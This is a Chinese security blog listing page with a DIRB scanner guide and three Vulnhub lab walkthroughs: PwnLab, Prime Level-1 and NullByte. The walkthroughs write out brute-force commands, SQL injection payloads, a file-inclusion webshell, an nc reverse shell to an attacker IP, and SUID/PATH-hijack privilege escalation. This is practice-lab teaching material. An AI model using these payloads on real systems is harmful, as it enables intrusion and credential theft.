首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,946 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,179 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,341 阅读
4
几个常见的密码字典推荐
3,413 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
91
篇与
的结果
2025-05-18
linux进程隐藏
暂无简介
2025年05月18日
1,349 阅读
0 评论
0 点赞
2025-05-18
DIRB:一款强大的Web目录扫描工具使用指南
DIRB是一款广泛使用的开源Web内容扫描工具,它专注于发现Web服务器上存在的目录和文件。对于安全研究员、渗透测试人员以及Web开发者来说,DIRB是一个不可或缺的工具,它能帮助他们识别潜在的入口点,从而进一步评估目标网站的安全性。本文将详细介绍DIRB的基本用法、高级特性、配置选项以及如何在实际渗透测试中有效使用它。一、DIRB简介DIRB(DIR Browser)最初由Pablo Santos开发,自发布以来就因其简单、高效而受到欢迎。DIRB的工作原理是通过发送HTTP GET请求到服务器上的特定目录和文件,并分析响应来判断目录或文件是否存在。它支持多线程,可以快速扫描大量潜在的URL,并且可以自定义请求头和代理设置,增加了其灵活性和实用性。二、安装DIRB在大多数Linux发行版中,DIRB可以通过包管理器轻松安装。例如,在基于Debian的系统上,你可以使用apt-get命令:sudo apt-get update sudo apt-get install dirb对于其他操作系统,你可能需要从DIRB的官方网站或其他可靠的软件仓库下载源代码并自行编译安装,如果是kali操作系统,则可以直接使用。三、基本参数DIRB的基本用法非常简单。启动DIRB时,你需要指定要扫描的URL和用于匹配的字典文件。字典文件包含了可能的目录名和文件名,DIRB将依次尝试访问这些路径。项目Value参数执行效果-a设置user-agent-p<proxy[:port]>设置代理-c设置cookie-z添加毫秒延迟,避免洪水攻击-o输出结果-X在每个字典的后面添加一个后缀-H添加请求头-i不区分大小写搜索示例命令:dirb http://example.com/ -o dirb.txt这个命令会扫描http://example.com/下的所有目录和文件,并将结果输出到dirb.txt文件中。默认情况下,DIRB会使用自带的字典文件(通常位于/usr/share/dirb/wordlists/目录下)进行扫描。四、高级特性1. 自定义请求头DIRB允许你自定义HTTP请求头,这在绕过某些简单的安全机制时非常有用。使用-H参数可以添加自定义请求头。dirb http://example.com/ -H "User-Agent: Custom User-Agent"举例:之前文章https://mp.weixin.qq.com/s/U0z0R_JMdOjIOE_6aEUnvw的401验证扫描不到路径,就可以自定义请求头,防止扫不到路径,比御剑好用多了,自定义一下dirb字典也行kali中默认放在/usr/share/dirb/wordlists/common.txt文件中,命令如下dirb http://example.com -H "Authorization: Basic <base64-encoded-username:password>"2. 使用代理在需要绕过IP封锁或进行匿名扫描时,使用代理是一个好选择。DIRB支持HTTP和SOCKS代理。dirb http://example.com/ -p 8080 -x http://proxy.example.com:80803. 多线程扫描DIRB支持多线程扫描,通过-t参数可以指定线程数。增加线程数可以加快扫描速度,但也可能增加目标服务器的负载。dirb http://example.com/ -t 104. 自定义字典虽然DIRB提供了默认的字典文件,但在某些情况下,你可能需要使用自定义的字典。通过-w参数可以指定自定义字典文件。dirb http://example.com/ -w /path/to/custom_dict.txt五、在实际渗透测试中的应用在实际渗透测试中,DIRB通常用于以下场景:信息收集:在渗透测试的早期阶段,使用DIRB扫描目标网站以收集潜在的有用信息,如管理后台、上传接口等。漏洞探测:某些版本的CMS(内容管理系统)可能存在已知的安全漏洞,通过DIRB扫描可以快速定位到易受攻击的文件或目录。目录遍历防护测试:DIRB可以用来测试Web应用程序是否对目录遍历攻击具有足够的防御能力。六、结论DIRB作为一款强大的Web目录扫描工具,在渗透测试和Web安全评估中发挥着重要作用。通过合理使用DIRB及其高级特性,安全研究人员和渗透测试人员可以更高效地发现Web应用程序中的潜在弱点,为进一步提升系统安全性提供有力支持。然而,值得注意的是,在使用DIRB进行扫描时,应遵守相关法律法规和道德规范,确保测试活动的合法性和合规性。
2025年05月18日
1,715 阅读
0 评论
0 点赞
2025-05-18
PwnLab init-文件包含、反弹shell、提权--靶机渗透思路讲解
如果需要Vulnhub靶机链接,可以后台私信【PwnLab】,关于网安学习群,可以后台添加作者备注【进群】即可首页有一个登录框他没有验证码,我们试试暴力破解开始爆破了,全部失败,哈哈哈nmap全端口扫描试试有mysql服务,再爆破一下数据库,使用MSF框架use auxiliary/scanner/mysql/mysql_login set rhosts 192.168.71.1 //设置目标服务器的ip地址 set rport 3306 //设置目标端口,为MySQL开启的端口号,默认是3306 set username root //设置用户名,默认即为root set pass_file /home/kali/pass.txt //指定密码字典文件的路径 run //开始爆破 爆破失败。。。。。。在url上面有一个page,猜测是文件包含漏洞,我们包含/etc/passwd,没有效果php filter伪协议试试也不行这些都试过了,那么直接包含index呢,出来了index的源码,就可以发现它的包含规则不能包含后缀解码看看,对这个lang的cookie进行文件包含<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. 御剑目录扫描一下包含upload,并base64解码,获取源码<?php session_start(); if (!isset($_SESSION['user'])) { die('你没有登录.'); } ?> <html> <body> <form action='' method='post' enctype='multipart/form-data'> <input type='file' name='file' id='file' /> <input type='submit' name='submit' value='Upload'/> </form> </body> </html> <?php if(isset($_POST['submit'])) { if ($_FILES['file']['error'] <= 0) { $filename = $_FILES['file']['name']; $filetype = $_FILES['file']['type']; $uploaddir = 'upload/'; $file_ext = strrchr($filename, '.'); $imageinfo = getimagesize($_FILES['file']['tmp_name']); $whitelist = array(".jpg",".jpeg",".gif",".avif"); if (!(in_array($file_ext, $whitelist))) { die('Not allowed extension, please upload images only.'); } if(strpos($filetype,'image') === false) { die('Error 001'); } if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002'); } if(substr_count($filetype, '/')>1){ die('Error 003'); } $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { echo "<img src=\"".$uploadfile."\"><br />"; } else { die('Error 4'); } } } ?> login源码,我们看到了有一个config.php引用,而且还是在当前目录<?php session_start(); require("config.php"); $mysqli = new mysqli($server, $username, $password, $database); if (isset($_POST['user']) and isset($_POST['pass'])) { $luser = $_POST['user']; $lpass = base64_encode($_POST['pass']); $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?"); $stmt->bind_param('ss', $luser, $lpass); $stmt->execute(); $stmt->store_Result(); if ($stmt->num_rows == 1) { $_SESSION['user'] = $luser; header('Location: ?page=upload'); } else { echo "Login failed."; } } else { ?> <form action="" method="POST"> <label>用户名: </label><input id="user" type="test" name="user"><br /> <label>密 码: </label><input id="pass" type="password" name="pass"><br /> <input type="submit" name="submit" value="Login"> </form> <?php } config包含解码,好有了mysql密码mysql连接指定好数据库找到指定表名就能看到用户密码了,密码有==号的话,那么大概率就是base64编码解码登录试试登录成功了,只允许图片上传我们分析之前找到的文件上传源码,是白名单<?php session_start(); if (!isset($_SESSION['user'])) { die('你没有登录.'); } ?> <html> <body> <form action='' method='post' enctype='multipart/form-data'> <input type='file' name='file' id='file' /> <input type='submit' name='submit' value='Upload'/> </form> </body> </html> <?php if(isset($_POST['submit'])) { if ($_FILES['file']['error'] <= 0) { $filename = $_FILES['file']['name']; $filetype = $_FILES['file']['type']; $uploaddir = 'upload/'; $file_ext = strrchr($filename, '.'); $imageinfo = getimagesize($_FILES['file']['tmp_name']); $whitelist = array(".jpg",".jpeg",".gif",".avif"); if (!(in_array($file_ext, $whitelist))) { die('Not allowed extension, please upload images only.'); } if(strpos($filetype,'image') === false) { die('Error 001'); } if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002'); } if(substr_count($filetype, '/')>1){ die('Error 003'); } $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { echo "<img src=\"".$uploadfile."\"><br />"; } else { die('Error 4'); } } } ?> 图片马gif正常上传我们用dirb扫到一个目录gif上传成功伪协议包含不成功分析index.php源代码,它对cookie的值作为路径,这个参数为lang<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. 那我们就添加一个cookielang=../upload/66c30a7180c399c3188ff89f1e2c5c02.gif此时回到首页蚁剑连接试试这里不要忘了添加cookie反弹测试nc,有e参数,可以用nc反弹shellnc 10.0.0.190 80 -e /bin/bash 反弹成功终端升级echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py 切换root账号,弱口令成功了。。。。如果不用弱口令,正常情况是这样的,找到数据库中的密码和用户猜测这个用户能用登录该系统,但是登录成功后,没什么利用价值切换用户kane,里面有一个msgmike文件,查看它,这有一个命令查看这个文件没有权限我们切换这个mike用户,不能登录,鉴权失败,我们也就无法查看这个文件然而当我们调用cat命令的时候,cat会从以上目录来寻找,如果我们添加.到$PATH环境变量,则会先从当前目录来寻找cat指令,相当于我们自己创建一个读文件的cat指令,用这个指令来读新建取/home/mike/msg.txt文件,我们新建一个cat文件,并添加执行权限,依次执行以下命令这样当我们再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),我们就会提升到mike权限:我们切换这个用户的跟目录发现有个msg2root查看发现一个bin/bash会话,不断尝试,直到如下结果; /bin/bash -p才能够以root的权限查看flag.txt往期推荐不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学防溯源小技巧ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【oscp】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS【渗透测试】linux隐身登录
2025年05月18日
1,007 阅读
0 评论
0 点赞
2025-05-18
Vuln靶机Prime_Series_Level-1
typora-copy-images-to: upload主机发现端口扫描80端口目录扫描,发现这是一个wordpress站点利用wpscan对网站后台进行暴力破解,并收集可能的用户信息,爆破失败了,但是发现了一个用户victorwpscan --url http://10.10.10.203/wordpress -e u -P /data/SecLists_Dict/Passwords/xato-net-10-million-passwords-100000.txt利用ssh爆破(失败)hydra -lvictor -P /data/SecLists_Dict/Passwords/darkweb2017-top1000.txt -t 4 -vV 10.10.10.203 ssh利用wfuzz测试一下有没有其他的文章没显示出来的wfuzz -u http://10.10.10.203/wordpress/?page_id=FUZZ -z range,1-1000 --sc 200继续查看目录扫描的结果,翻到一个dev,被嘲讽了你好,现在你处于0级阶段在实际的渗透测试中,我们应该使用我们的工具在网络上进行深入挖掘。快乐的黑客。看看还有没有其他文件gobuster dir -u http://10.10.10.203 -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt -x html,txt,php,js有一个secret.txt文件,大致意思呢就是说让我们进行一个模糊测试,这个测试的参数下面有一个location.txt文件,如果没有扫出来,你可以利用下面这个开源字典,帮助你更好的通过oscp考试访问https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web1. WFUZZ ==================================================================================== # # ###### # # ###### ###### # # # # # # # # # ##### # # # # # ## # # # # # # ## ## # # # # # # # # #### ###### ###### ==================================================================================== -------------------------------------------------------------------------------------- (i) USE WFUZZ TO ENUMERATE CORRECT PARAMETER FOR A PAGE. --------------------------------------------------------------------------------------- COMMNAD = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something And the result is given below 000216: C=200 70 L 500 W 2006 Ch "configs" 000200: C=200 70 L 500 W 2006 Ch "cm" 000201: C=200 70 L 500 W 2006 Ch "cmd" 000195: C=200 70 L 500 W 2006 Ch "classified" 000197: C=200 70 L 500 W 2006 Ch "client" 000204: C=200 70 L 500 W 2006 Ch "coke" Finishing pending requests... ---------------------------------------------------------------------------------------------------------------------- (ii) BUT ABOVE COMMND FAILED IF PAGE ALWAYS RETURN 200(HTTP REPONSE). NOW OUR MODIFIED COMMAND IS =======> ---------------------------------------------------------------------------------------------------------------------- COMMAND = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://website-ip/index.php?FUZZ=something And it will return result which is given below. Total requests: 950 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000357: C=200 70 L 500 W 2006 Ch "file" Total time: 3.753362 Processed Requests: 950 Filtered Requests: 949 Requests/sec.: 253.1063 Here we can see C=200(Our HTTP Respone from server). 7 L ==> It means 7 lines return by server. 500 W ==> It means 19 words total count by wfuzz. 2006 Ch ==> It means 206 total chars count by wfuzz which is return by server. After using filter we can remove wrong parameter from our output and right output with right parameter we get. -------------------------------------------------------------------------------------------------------- (*)WORKING WITH FILTERS: | (i) If we want to filter words then we used switch --hw (words_lenth. In above example --hw 12) | (ii) To filter lenth then we used --hl(In above above example this would be --hl 7) (iii) For chars we used --hh (In above example this would br --hh 206) | (iv) For response code we use --hc. And always we attach --hc 404. Because this is common for all. | -------------------------------------------------------------------------------------------------------- ---------------------------------------------------------------- (iii) USE WFUZZ TO FIND OUT SUBDOMAINS. ---------------------------------------------------------------- COMMAND ==> wfuzz -c -w /usr/share/seclists//usr/share/seclists/Discovery/DNS --hc 404 --hw 617 -u website.com -H "HOST: FUZZ.website.com" USE filter to reach your actual subdomAIns like below command. COMMAND ==> wfuzz -c -w /usr/share/seclists//usr/share/seclists/Discovery/DNS --hc 404 --hw 7873 -u hnpsec.com -H "HOST: FUZZ.hnpsec.com"上wfuzzwfuzz -u http://10.10.10.203/?FUZZ=location.txt -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt --hw 12发现了一个file参数做一些更好的, 好的,现在你找到了确切的参数,现在挖掘更多的下一个<br>在其他php页面上使用‘secrettier36o’参数更有趣。那么根据提示修改参数file为secrettier360,继续fuzz,只发现了两个相关的php文件wfuzz -u http://10.10.10.203/FUZZ.php?secrettier360=location.txt -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt --sc 200进行测试,”最后你得到了正确的参数“┌──(root㉿kali)-[~] └─# curl http://10.10.10.203/image.php?secrettier360=location.txt <html> <title>HacknPentest</title> <body> <img src='hacknpentest.avif' alt='hnp security' width="1300" height="595" /></p></p></p> </body> finaly you got the right parameter<br><br><br><br></html>说是得到了正确的参数,看样子是文件包含,之前读取的是一个txt文件 location.txt,那么直接包含/etc/passwd,之后又发现了这个用户后面写着一个提示,说password.txt文件在/home/saket文件夹下面找到了密码follow_the_ippseccurl http://10.10.10.203/image.php?secrettier360=/home/saket/password.txt测试了两个用户的ssh皆失败了利用那就wordpress密码碰撞,找到之前写文章的用户victor进行登录,登录成功其他的文件都不能修改,只有这一个Twenty Nineteen主题下的secret.php可以修改填写反弹shell脚本并修改攻击机器开启监听这个路径是wordpress主题文件下的默认路径,使用curl请求即可反弹shellcurl http://10.10.10.203/wordpress/wp-content/themes/twentynineteen/secret.php创建交互式终端python -c 'import pty; pty.spawn("/bin/bash")';切换到wordpress根目录,找到了数据库密码wordpress yourpasswordhere登录mysqlmysql -uwordpress -pyourpasswordhere只有victor一个用户,密码我们已经知道了,没有其他东西了,利用数据库密码登录这两个用户试试(均失败)www-data@ubuntu:/home$ ls ls saket victor www-data@ubuntu:/home$ su saket su saket Password: yourpasswordhere su: Authentication fAIlure www-data@ubuntu:/home$ su victor su victor Password: yourpasswordhere su: Authentication fAIlure切换到home下面包含了一个user.txt可能用得上识别hash类型,看样子是md5尝试过好几个解密网站都失败了利用sudo -l查看可以使用sudo的文件,有一个enc,执行一下需要我们输入密码在opt文件夹下面可以找到密码信息执行,但是有两个文件,enc.txt,key.txt没有权限读取接下来加上sudo,提示了一个good此时该文件夹下面出现了两个文件其中key.txt是一个提示信息,加密后的结果为366a74cb3c959de17d61db30591c39d1因此,将字符串“ippsec”转换为md5哈希并使用它来获得您的真实形式enc.txt是一段乱码nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=有一个key,一段密文,但是没有偏移量,普通AES需要偏移量但是ECB的加密模式不需要解密结果为Dont worry saket one day we will reach to our destination very soon. And if you forget your username then use your old password ==> "tribute_to_ippsec" Victor,切换用户成功再次利用sudo -l利用sudo执行这个文件后,可以看到下面有一个提示,没有找到相关文件 not found,看样子是让我们写入一个脚本进行提权if you can defeat me then challenge me in front of you /home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found利用刚刚反弹shell的php脚本进行反弹,再用sudo执行此文件即可提权成功echo 'php /var/www/html/wordpress/wp-content/themes/twentynineteen/secret.php' > /tmp/challenge chmod +x /tmp/challenge sudo /home/victor/undefeated_victor至此提权成功往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
1,601 阅读
0 评论
0 点赞
2025-05-18
Vuln靶机NullByte
靶机下载链接:https://www.vulnhub.com/entry/nullbyte-1,126/主机发现利用nmap进行端口扫描,发现ssh端口被放到了777端口,这里需要注意一下,后面使用ssh连接的时候需要使用 -p 77780端口经过目录扫描,发现了一个phpmyadmin数据库管理工具,并使用了SQL注入,弱口令等测试,均没有效果直到下载了主页的这个mAIn.gif文件,得到一个密文kzMb5nVYJw可能是phpmyadmin的root密码去登录phpmyadmin试试(失败),那么就切换思路,既然是在web上,那么还有可能和目录相关查看源码,说这个表单没有连接mysql数据库,密码也很简单,说明可以直接爆破了本着oscp考试不能使用burp专业版,那么就用hydra进行爆破,参数如下hydra -l admin -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.205 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -f参数解析:-l 表示指定一个用户进行爆破(在这里没有实际意义),-P指定一个密码字典-t 指定爆破的线程数量-vV 表示显示爆破的过程http-post-form 表示以表单的形式进行爆破^PASS^ 表示在这个指定的字典中,所有单个密码的一个变量invalid key 表示排除字段,即出现哪些字符表示失败输入这个密码后,就能进入一个搜索框框页面eliteSQL注入利用,一下子全部数据都出来了,说明存在SQL注入漏洞http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=a" or 1=1 -- +那么接下俩判断列,sql语句报错了,说明不存在5列a" order by 5 --+但是奇怪的是,没有数据回显a" order by 3 --+这里需要仔细琢磨下,发现只能使用对应的用户名作为参数isis" order by 3 --+联合注入测试,这个时候就多了一条数据,前面的isis用户的数据也存在isis" union select 1,2,3 --+暴库http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(schema_name),3 from information_schema.schemata --+发现了两个可能利用的数据库phpmyadmin,seth,由于phpmyadmin是直接连接的mysql服务器,所以不存放mysql密码,可以跳过,所以我们接下来就需要对seth数据库进行枚举暴seth表,敏感表usershttp://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="seth" --+暴users字段http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="phpmyadmin" and table_name="pma__users" --+暴users数据http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(id,'-',user,'-',pass),3 from users --+看样子是 一个base64的编码,解密看看,是一个hash,c6d6bd7ebf806f43c76acc3681703b81利用hash识别工具识别解密的结果为md5ramses用户的密码为omega连接ssh(phpmyadmin密码试过了登录失败)查找SUID文件,发现了一个procwatch文件切换到这个目录下面,还发现了一个readme.txt, 我必须要搞定这一坨混乱。不知道在说啥,执行一下这个suid文件,发现还执行了两个命令,sh应该和shell相关,也就是/bin/sh,ps和进程相关,这个时候我们的提权思路就是将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于他具有suid权限,就可以以root身份运行,从而触发提权这里提权的方法呢就是利用软链接+修改环境变量的方式进行提权完整命令如下ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps # 将/bin/sh链接到 ps 这个命令,这样我们执行当前目录下面的 ps 命令(文件)的时候,就会调用/bin/sh创建一个shell ramses@NullByte:/var/www/backup$ ls # 此时就发现多了一个文件ps procwatch ps readme.txt ramses@NullByte:/var/www/backup$ export PATH=.:$PATH # 添加当前目录为环境变量,这个.代表当前目录,放在前面表示环境变量会以前后顺序,依次读取环境变量,放在前面是为了提高当前目录为环境变量的优先级 ramses@NullByte:/var/www/backup$ echo $PATH .:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games ramses@NullByte:/var/www/backup$ ./procwatch # 此时执行这个文件,就能创建一个shell,而它是suid文件。执行它的时候是以root的身份执行的,所以创建的shell就是root身份的shell。 # whoami root # cd /root # cat proof.txt adf11c7a9e6523e630aaf3b9b7acb51d It seems that you have pwned the box, congrats. Now you done that I wanna talk with you. Write a walk & mAIl at xly0n@sigAInt.org attach the walk and proof.txt If sigAInt.org is down you may mAIl at nbsly0n@gmAIl.com USE THIS PGP PUBLIC KEY -----BEGIN PGP PUBLIC KEY BLOCK----- Version: BCPG C# v1.6.1.0 mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK +z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58 kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8 TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU Gms= =PiAQ -----END PGP PUBLIC KEY BLOCK-----至此提权成功,这个靶机有很多种可以getshell的方法,比如利用SQL注入写入一句话木马,读取mysql配置文件获取密码信息,然后登录phpmyadmin,也能获取ramses用户的密码信息,当然写可以不写一句话木马,直接写反弹shell的php也可以,详细请参考如下文章,写的非常棒https://blog.csdn.net/Bossfrank/article/details/131880155往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
1,700 阅读
0 评论
0 点赞
1
...
10
11
12
...
19